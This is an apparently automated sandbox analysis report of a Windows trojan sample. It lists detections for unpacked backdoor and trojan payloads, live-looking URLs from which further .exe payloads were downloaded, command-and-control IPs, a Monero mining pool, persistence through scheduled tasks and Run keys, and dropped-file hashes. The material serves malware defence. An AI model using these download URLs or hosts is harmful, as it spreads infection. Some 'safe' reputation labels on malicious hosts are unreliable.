31.0.E09C.exe.6c0000.3.unpack 100% Avira HEUR/AGEN.1211353 Download File

22.3.8F12.exe.510000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

21.0.bahuseh.400000.6.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

46.2.lsjsgslc.exe.630e50.1.unpack 100% Avira TR/Patched.Ren.Gen Download File

31.0.E09C.exe.6c0000.2.unpack 100% Avira HEUR/AGEN.1211353 Download File

46.3.lsjsgslc.exe.650000.0.unpack 100% Avira TR/Patched.Ren.Gen Download File

31.0.E09C.exe.6c0000.0.unpack 100% Avira HEUR/AGEN.1211353 Download File

26.3.ADC7.exe.650000.0.unpack 100% Avira TR/Patched.Ren.Gen Download File

31.2.E09C.exe.6c0000.0.unpack 100% Avira HEUR/AGEN.1211353 Download File

22.0.8F12.exe.400000.4.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

1.0.6zsU4O4WHq.exe.400000.6.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

29.2.D08E.exe.400000.0.unpack 100% Avira BDS/Backdoor.Gen Download File

46.2.lsjsgslc.exe.400000.0.unpack 100% Avira BDS/Backdoor.Gen Download File

21.0.bahuseh.400000.1.unpack 100% Avira HEUR/AGEN.1123244 Download File

26.2.ADC7.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

1.2.6zsU4O4WHq.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

1.1.6zsU4O4WHq.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

22.0.8F12.exe.500e50.7.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

1.0.6zsU4O4WHq.exe.400000.4.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

29.2.D08E.exe.630e50.1.unpack 100% Avira TR/Patched.Ren.Gen Download File

21.0.bahuseh.400000.0.unpack 100% Avira HEUR/AGEN.1123244 Download File

22.2.8F12.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

Unpacked PE Files
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21.0.bahuseh.400000.3.unpack 100% Avira HEUR/AGEN.1123244 Download File

0.2.6zsU4O4WHq.exe.6315a0.1.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

Source Detection Scanner Label Link Download

No Antivirus matches

Source Detection Scanner Label Link

185.7.214.171:8080/6.php 100% URL Reputation malware

host-data-coin-11.com/ 0% URL Reputation safe

data-host-coin-8.com/files/6961_1642089187_2359.exe 100% Avira URL Cloud malware

81.163.30.181/2.exe 0% Avira URL Cloud safe

data-host-coin-8.com/game.exe 0% URL Reputation safe

data-host-coin-8.com/files/8474_1641976243_3082.exe 100% Avira URL Cloud malware

https://www.disneyplus.com/legal/your-california-privacy-rights 0% URL Reputation safe

https://api.ip.sb/ip 0% URL Reputation safe

unicupload.top/install5.exe 100% URL Reputation phishing

81.163.30.181/1.exe 0% Avira URL Cloud safe

crl.ver) 0% Avira URL Cloud safe

https://www.tiktok.com/legal/report/feedback 0% URL Reputation safe

https://activity.windows.comr 0% URL Reputation safe

https://%s.xboxlive.com 0% URL Reputation safe

https://goo.su/abhF 0% Avira URL Cloud safe

https://www.disneyplus.com/legal/privacy-policy 0% URL Reputation safe

https://185.233.81.115/32739433.dat?iddqd=1 0% Avira URL Cloud safe

data-host-coin-8.com/files/7729_1642101604_1835.exe 100% Avira URL Cloud malware

data-host-coin-8.com/files/9030_1641816409_7037.exe 100% Avira URL Cloud malware

https://dynamic.t 0% URL Reputation safe

https://disneyplus.com/legal. 0% URL Reputation safe

help.disneyplus.com. 0% URL Reputation safe

81.163.30.181/6236.exe 0% Avira URL Cloud safe

https://%s.dnet.xboxlive.com 0% URL Reputation safe

Name IP Active Malicious Antivirus Detection Reputation

pool-fr.supportxmr.com 91.121.140.167 true false high

unicupload.top 54.38.220.85 true false high

host-data-coin-11.com 8.209.70.0 true false high

patmushta.info 94.142.143.116 true false high

cdn.discordapp.com 162.159.130.233 true false high

microsoft-com.mail.protection.outlook.com 104.47.53.36 true false high

goo.su 172.67.139.105 true false high

transfer.sh 144.76.136.153 true false high

a0621298.xsph.ru 141.8.194.74 true false high

data-host-coin-8.com 8.209.70.0 true false high

pool.supportxmr.com unknown unknown false high

Name Malicious Antivirus Detection Reputation

185.7.214.171:8080/6.php true URL Reputation: malware unknown

host-data-coin-11.com/ false URL Reputation: safe unknown

https://transfer.sh/get/uq3XSe/5.exe false high

https://transfer.sh/get/wdOcdg/9.exe false high

data-host-coin-8.com/files/6961_1642089187_2359.exe true Avira URL Cloud: malware unknown

81.163.30.181/2.exe true Avira URL Cloud: safe unknown

data-host-coin-8.com/game.exe false URL Reputation: safe unknown

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs
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General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 553166

Start date: 14.01.2022

Start time: 12:20:21

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 15m 50s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: 6zsU4O4WHq.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

48

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

data-host-coin-8.com/files/8474_1641976243_3082.exe true Avira URL Cloud: malware unknown

unicupload.top/install5.exe true URL Reputation: phishing unknown

81.163.30.181/1.exe true Avira URL Cloud: safe unknown

https://transfer.sh/get/QbPlFD/G.exe false high

https://goo.su/abhF false Avira URL Cloud: safe unknown

https://185.233.81.115/32739433.dat?iddqd=1 true Avira URL Cloud: safe unknown

data-host-coin-8.com/files/7729_1642101604_1835.exe true Avira URL Cloud: malware unknown

data-host-coin-8.com/files/9030_1641816409_7037.exe true Avira URL Cloud: malware unknown

https://cdn.discordapp.com/attachments/903666793514672200/930134152861343815/Nidifyin
g.exe

false high

81.163.30.181/6236.exe true Avira URL Cloud: safe unknown

Name Malicious Antivirus Detection Reputation

IP Domain Country Flag ASN ASN Name Malicious

94.142.143.116 patmushta.info Russian Federation 35196 IHOR-ASRU false

188.166.28.199 unknown Netherlands 14061 DIGITALOCEAN-ASNUS true

172.67.139.105 goo.su United States 13335 CLOUDFLARENETUS false

8.209.70.0 host-data-coin-11.com Singapore 45102 CNNIC-ALIBABA-US-NET-
APAlibabaUSTechnologyCo
LtdC

false

54.38.220.85 unicupload.top France 16276 OVHFR false

104.47.53.36 microsoft-
com.mail.protection.outloo
k.com

United States 8075 MICROSOFT-CORP-MSN-
AS-BLOCKUS

false

144.76.136.153 transfer.sh Germany 24940 HETZNER-ASDE false

162.159.130.233 cdn.discordapp.com United States 13335 CLOUDFLARENETUS false

81.163.30.181 unknown Russian Federation 58303 IR-RASANAPISHTAZIR true

185.233.81.115 unknown Russian Federation 50113 SUPERSERVERSDATACE
NTERRU

true

185.7.214.171 unknown France 42652 DELUNETDE true

185.186.142.166 unknown Russian Federation 204490 ASKONTELRU true

IP

192.168.2.1

127.0.0.1

URLs from Memory and Binaries

Contacted IPs

Public

Private
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Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.evad.winEXE@55/33@81/14

EGA Information: Successful, ratio: 100%

HDC Information: Successful, ratio: 23.3% (good quality ratio 17.5%)
Quality average: 60.1%
Quality standard deviation: 40.2%

HCA Information: Successful, ratio: 58%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

Time Type Description

12:21:27 API Interceptor 9x Sleep call for process: svchost.exe modified

12:22:06 Task Scheduler Run new task: Firefox Default Browser Agent 7CF6237FEDB63C8F path: C:\Users\user\AppData\Roaming\bah
useh 

12:22:21 API Interceptor 1x Sleep call for process: ADC7.exe modified

12:22:39 API Interceptor 2x Sleep call for process: WerFault.exe modified

12:23:06 API Interceptor 1x Sleep call for process: explorer.exe modified

12:23:07 Task Scheduler Run new task: mjlooy.exe path: C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe 

12:23:30 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Driver C:\Users\user\AppData\Roaming\Sysfile
s\setup_m.exe

12:23:39 Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Driver C:\Users\user\AppData\Roaming\Sysfi
les\setup_m.exe

No context

No context

No context

No context

No context

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files
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C:\ProgramData\Microsoft\Network\Downloader\edb.log
Process: C:\Windows\System32\svchost.exe

File Type: MPEG-4 LOAS

Category: dropped

Size (bytes): 1310720

Entropy (8bit): 0.2486123422594395

Encrypted: false

SSDEEP: 1536:BJiRdfVzkZm3lyf49uyc0ga04PdHS9LrM/oVMUdSRU4W:BJiRdwfu2SRU4W

MD5: 3215E4BD99CB0D504C77F14E10B98B11

SHA1: 871AB940E0945F207D323CA0A21EFA31DEB0C148

SHA-256: 9AEDCB95542AE1DF1AC225CE021FA342DE60DBD8D4FFAE261EBA625F6D4788C3

SHA-512: 4FE0D134CD8E102AFAEFCF8197EBB07719BDF29DFA06A68C5EA0D8A009451D4354FD22F7902691D82276DEE8F213D7194228096E9A34164A9867090D066265D7

Malicious: false

Reputation: unknown

Preview:
V.d.........@..@.3...w...........................3...w..................C:\ProgramData\Microsoft\Network\Downloader\........................................................................................................
.................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................
.................................................................................................................................................0u..................@...@.........................................d#...............................................
..............................................................................................................................................................................................................................................................................
....................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db
Process: C:\Windows\System32\svchost.exe

File Type: Extensible storage engine DataBase, version 0x620, checksum 0xc201dff0, page size 16384, DirtyShutdown, Windows version 10.0

Category: dropped

Size (bytes): 786432

Entropy (8bit): 0.250749428555725

Encrypted: false

SSDEEP: 384:8+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:jSB2nSB2RSjlK/+mLesOj1J2

MD5: 505B1ED7C8628B68F2292532AED63ED4

SHA1: 872623A044D903A48D7AC3548666E60300AA0353

SHA-256: 9764AF93CBB8C165FA4BF26BEC78B96BEAE674A59A47BFC4F7D29A6FAC8F7E4D

SHA-512: 1FD83C811820DC6ED8511563A9A24639405B3D770AA011B008910AB23B30D63C516568DF2112B4E97324CC530A397E69D35F671D821F5BCEB1C1CE077185AF67

Malicious: false

Reputation: unknown

Preview:
....... ................e.f.3...w........................&..........w.......z..h.(..............................3...w...........................................................................................................B...........@.............
......................................................................................... ........3...w.......................................................................................................................................................................
.................................................................F......z..................~........z...............................................................................................................................................................
...........................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm
Process: C:\Windows\System32\svchost.exe

File Type: data

Category: dropped

Size (bytes): 16384

Entropy (8bit): 0.07631811312343999

Encrypted: false

SSDEEP: 3:rlllt7Ev+Rl/bJdAti0P7lall3Vkttlmlnl:zlti+Rt4BzA3

MD5: 159C415E7CF347D987B3F487A3927A14

SHA1: 1D2C0083429158647D0B4E68B5B7859B22B518BE

SHA-256: 5643318014EB8502BC02D6CEA05C9D617F4B1C681B3D6C917997F81CA5B4B94E

SHA-512: 5C116890BC7EC069B9091B95D27C4F819DBBC573785F2F8501DE878D264995402E8BF06BAB4D395D71BDDDBF2A48A159428B704A77E6E97E743371F00B6FD088

Malicious: false

Reputation: unknown

Preview:
X^pg.....................................3...w.......z.......w...............w.......w....:O.....w..................~........z............................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_8F12.exe_5954467a3757758c9226aeac57e4d1149b531db8_0e3d6fb5_1baf2701\Repo
rt.wer
Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Little-endian UTF-16 Unicode text, with CRLF line terminators

Created / dropped Files
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Category: dropped

Size (bytes): 65536

Entropy (8bit): 0.8137319168856553

Encrypted: false

SSDEEP: 96:4wFmwjLRCVynQ9OQoJ7R3V6tpXIQcQec6tycEfcw3oXz+HbHg/8BRTf3o8Fa9iVx:FMgEYX8HQ0lLjIq/u7sLS274It/9E

MD5: 6660F68949031B23F9CCA835A9F9A58F

SHA1: 983DAA70D6AAFBCB03CB580FADDB786192EB0661

SHA-256: E75C6DCA490A650309C3F328762DEB93E103F67492595C0E43DDC290281C6A64

SHA-512: 0411C1B2AE19647A26E48BF7D3D9E9F1489BDB69CFF04C1E9E00B186DC019F7BE33B7A0B7C108C10CB3B5F673754BDAE8330DA0BC7CC122BF00C315B5E9B7E
A0

Malicious: false

Reputation: unknown

Preview:
..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.6.6.6.5.3.4.4.7.1.9.1.1.9.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.
2.8.6.6.6.5.3.6.5.9.1.9.5.8.5.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.c.9.3.6.4.c.2.-.6.5.d.6.-.4.e.4.f.-.9.9.0.1.-.e.f.a.d.d.e.c.7.1.2.c.4.....I.
n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.d.9.1.d.4.e.a.-.b.1.f.3.-.4.3.a.2.-.9.d.4.d.-.6.4.2.7.8.f.9.f.d.8.b.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.
....N.s.A.p.p.N.a.m.e.=.8.F.1.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.1.d.4.-.0.0.0.1.-.0.0.1.6.-.c.5.9.3.-.4.d.6.9.8.4.0.9.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.
0.0.6.0.f.5.b.c.7.4.a.2.4.6.5.1.5.7.3.0.7.5.0.0.9.2.3.c.f.a.2.c.9.4.8.0.0.0.0.2.9.0.1.!.0.0.0.0.5.9.9.5.a.e.9.d.0.2.4.7.0.3.6.c.c.6.d.3.e.a.7.4.1.e.7.5.0.4.c.9.1.3.f.1.f.b.7.6.!.8.
F.1.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.1.1././.1.2.:.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_8F12.exe_5954467a3757758c9226aeac57e4d1149b531db8_0e3d6fb5_1baf2701\Repo
rt.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppHang_svchost.exe_5ebe40fcf0cd8542cf98bde16d68d7a8e1d4d4_5e857bb4_1afc6b13\Repo
rt.wer
Process: C:\Windows\System32\WerFault.exe

File Type: Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 65536

Entropy (8bit): 0.9663020859845894

Encrypted: false

SSDEEP: 192:oH4srZHQE7B04zJjMHLM/u7sLS274ltAOM:oYIJQE7B04zJj24/u7sLX4ltAOM

MD5: 864D45BDB9D712BE3D31CEE0956E6C7E

SHA1: 0BC27038E869F3AFC704867AEA15C01BCBEEE3AD

SHA-256: 99D30C77117CB65816BD164FFC5C5FFB476FAD0FEC5685354BA094D424827C6F

SHA-512: 63096B9CC90CFF70CAC3028E5E93E7E1DF6031AAB8805F483D8AFA08CA3407EA31632A7C52CAC57219193D7B7C467C30ED45FF061E6A1A20D2FF0572CD64F55
5

Malicious: false

Reputation: unknown

Preview:
..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.p.p.H.a.n.g.X.P.r.o.c.B.1.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.6.6.6.5.3.4.4.1.0.0.0.6.7.8.....R.e.p.o.r.t.T.y.p.e.=.3.....C.o.n.s.e.n.t.=.1.....U.p.
l.o.a.d.T.i.m.e.=.1.3.2.8.6.6.6.5.3.4.7.2.0.9.4.0.0.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.9.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.0.5.e.b.0.2.6.-.7.3.5.5.-.4.0.1.c.-.8.5.1.4.-.0.a.1.8.a.f.8.1.
c.b.0.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.8.a.b.8.6.3.d.-.0.8.6.a.-.4.3.f.7.-.a.6.e.8.-.7.5.f.f.a.2.3.4.1.d.f.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.
m.e.=.s.v.c.h.o.s.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.s.v.c.h.o.s.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.6.4.c.-.0.0.0.0.-.0.0.1.6.-.7.d.4.5.-.2.4.1.c.7.a.0.9.d.8.
0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.6.6.0.b.7.6.b.6.f.b.8.0.2.4.1.7.d.5.1.3.a.d.c.
9.6.7.c.5.c.a.f.7.7.f.c.2.b.a.c.6.!.s.v.c.h.o.s.t...e.x.e...

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB918.tmp.WERInternalMetadata.xml
Process: C:\Windows\System32\WerFault.exe

File Type: XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 6926

Entropy (8bit): 3.729892512639417

Encrypted: false

SSDEEP: 192:Rrl7r3GLNijJi8r9NQYEckSuCpaMlH+HaAC1f0Am:RrlsNiNi8r9NQYEckSoMlH+HaAgfC

MD5: 546A96869AF654285E022D946B84AA02

SHA1: 7F6BDF79F8F9B7F2A60C32C9E65D3A99D9D37C2E

SHA-256: 1752C2E85043707B47C9C24370030FD6C89767B343F27E3AF8C87F7FAC2DB60F

SHA-512: 2D5F1EDC7011A1B6E17492ABAE69D36D90935DCB5D9C084160DF68763489557711C0FFE2755AB9B102F46BD066654558000BA85A31D08A8E6DA3C93A53D9E8A6

Malicious: false

Reputation: unknown

Preview:
..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.
o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.
<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.
<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.
A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.6.1.2.<./.P.i.
d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBB3C.tmp.xml
Process: C:\Windows\System32\WerFault.exe

File Type: XML 1.0 document, ASCII text, with CRLF line terminators
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Category: dropped

Size (bytes): 4581

Entropy (8bit): 4.431751358921129

Encrypted: false

SSDEEP: 48:cvIwSD8zssJgtBI9AWWSC8Bp8fm8M4JCYdAFjF2ryq8vndAF2tAhO8O+d:uITfqq3SNgJCPF0WGFmAk8O+d

MD5: D44C130F7676D5CE47B12A1F017E34F3

SHA1: 87AB9B34941B34BD563F85EABA58D44253AF2213

SHA-256: B52AD3243D72A2866323B00FDA302F3EA85E79F3481A2C935FDC833ABCDA144E

SHA-512: 7648B1F0E5AB8A92A09EE78C01F3A7F61041F1C3E46045FC4CC4E59836E7F42887D0B411B063EDD0D203A32F5A46A51CB8DFE53EC9110640D85D82530AADAA3
9

Malicious: false

Reputation: unknown

Preview:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">..  <tlm>..    <src>..      <desc>..        <mach>..          <os>..            <arg nm="vermaj" val="10" 
/>..            <arg nm="vermin" val="0" />..            <arg nm="verbld" val="17134" />..            <arg nm="vercsdbld" val="1" />..            <arg nm="verqfe" val="1" />..            
<arg nm="csdbld" val="1" />..            <arg nm="versp" val="0" />..            <arg nm="arch" val="9" />..            <arg nm="lcid" val="1033" />..            <arg nm="geoid" 
val="244" />..            <arg nm="sku" val="48" />..            <arg nm="domain" val="0" />..            <arg nm="prodsuite" val="256" />..            <arg nm="ntprodtype" val="1" 
/>..            <arg nm="platid" val="2" />..            <arg nm="tmsi" val="1342413" />..            <arg nm="osinsty" val="1" />..            <arg nm="iever" val="11.1.17134.0-
11.0.47" />..            <arg nm="portos" val="0" />..            <arg nm="ram" val="4096" />..     

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBB3C.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBC55.tmp.csv
Process: C:\Windows\System32\svchost.exe

File Type: data

Category: dropped

Size (bytes): 53832

Entropy (8bit): 3.062829736487156

Encrypted: false

SSDEEP: 1536:zBH9322MRBrHhZlO2Tf1p7yermbtZXYWy:zBH9322MRBrHhZlO2Tfz7yermbtZXYWy

MD5: A2C62722EA2BAAA50A34F129FB1123ED

SHA1: 303898B1D76478C37F2B12318B2815B73AB6E76F

SHA-256: 7BA805A16C92F64B12BE35D57A785168B79C2C28F6832C925B92BA1AC542AB96

SHA-512: 38F37F06CB781C4603F50F9E68DE2ADDB90ADF5178CB70039B395C7A04CADE4E1518A960A3C4DEB5C997B40E7CB88E9802683D8F0612BD69B9533F23E6A6DA9
D

Malicious: false

Reputation: unknown

Preview:
I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.
i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.
a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.
a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.
t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.
n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC3E7.tmp.txt
Process: C:\Windows\System32\svchost.exe

File Type: data

Category: dropped

Size (bytes): 13340

Entropy (8bit): 2.6956829005608856

Encrypted: false

SSDEEP: 96:9GiZYWV+Oi6BBYEY7WOZH2YEZGKBtPiOFUejw6QnzagbhsnKIyZ3:9jZDV+uzuK/4zagbhsn9yZ3

MD5: 75671848FB9E6029D12E3835ACB7707B

SHA1: 20B9797029EA337C94BA995C85F95455FF16D648

SHA-256: 735291C0A102CD342E20CE852B171FC9C68529D8C9AF64C41D2611374A44DA79

SHA-512: 30CECD6160CDF791DEA080DE296B6144D4BE335FD4366A20EF6865D155BC6811AE4D76079FEC3F97852054741DB2D8C80321E365114EEA17C78645C46E96EAF5

Malicious: false

Reputation: unknown

Preview:
B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.
m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.
....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . 
.6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . 
.1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCE13.tmp.dmp
Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Mini DuMP crash report, 14 streams, Fri Jan 14 20:22:27 2022, 0x1205a4 type

Category: dropped

Size (bytes): 36688

Entropy (8bit): 2.1264050885050394
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Encrypted: false

SSDEEP: 192:ZQNNPuhTdOeh05r/A1tA0QNRL5SuvMAgXEL8r8pvl:2uhMedxQnLz9Npl

MD5: 829D32D67D97C59D6AB3965968596141

SHA1: B7D988B6548B037AF2EDE7B1DA6345E28C95BA80

SHA-256: E5E7F68574298B0A4F3CC1294FCD459785576605091B898BF737AE206BD2827B

SHA-512: 65E2B0E415EC27715DE405D8212723CA0567F2615F202AABFFDCAEB78E482CC76408E4011F7E6A23914E1735858E4A98AC4D2D19D403527D8F910F274EDDE088

Malicious: false

Reputation: unknown

Preview:
MDMP....... ..........a........................................z%..........T.......8...........T................z..........H...........4....................................................................U...........B..............GenuineIn
telW...........T...........s..a.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e..........................
.................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4....................................................................................................................................................
..............................................................................................................................................................................................................................................................................
...................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCE13.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB33.tmp.WERInternalMetadata.xml
Process: C:\Windows\SysWOW64\WerFault.exe

File Type: XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 8390

Entropy (8bit): 3.6998791799551474

Encrypted: false

SSDEEP: 192:Rrl7r3GLNiX967sQ6YIMSUnmSOgmfKRSWCpDA89bcFsfdD0m:RrlsNiN67sQ6YzSUmSOgmfKRS7cef3

MD5: 345F747B38E5774E78E05C811728CCB7

SHA1: 553FBD4EC79CECF314481C4F478A7B28971F9331

SHA-256: 2EC48D99D14EEAB788CFE9B3DE6E54B94785DB603F045916FA77006515538587

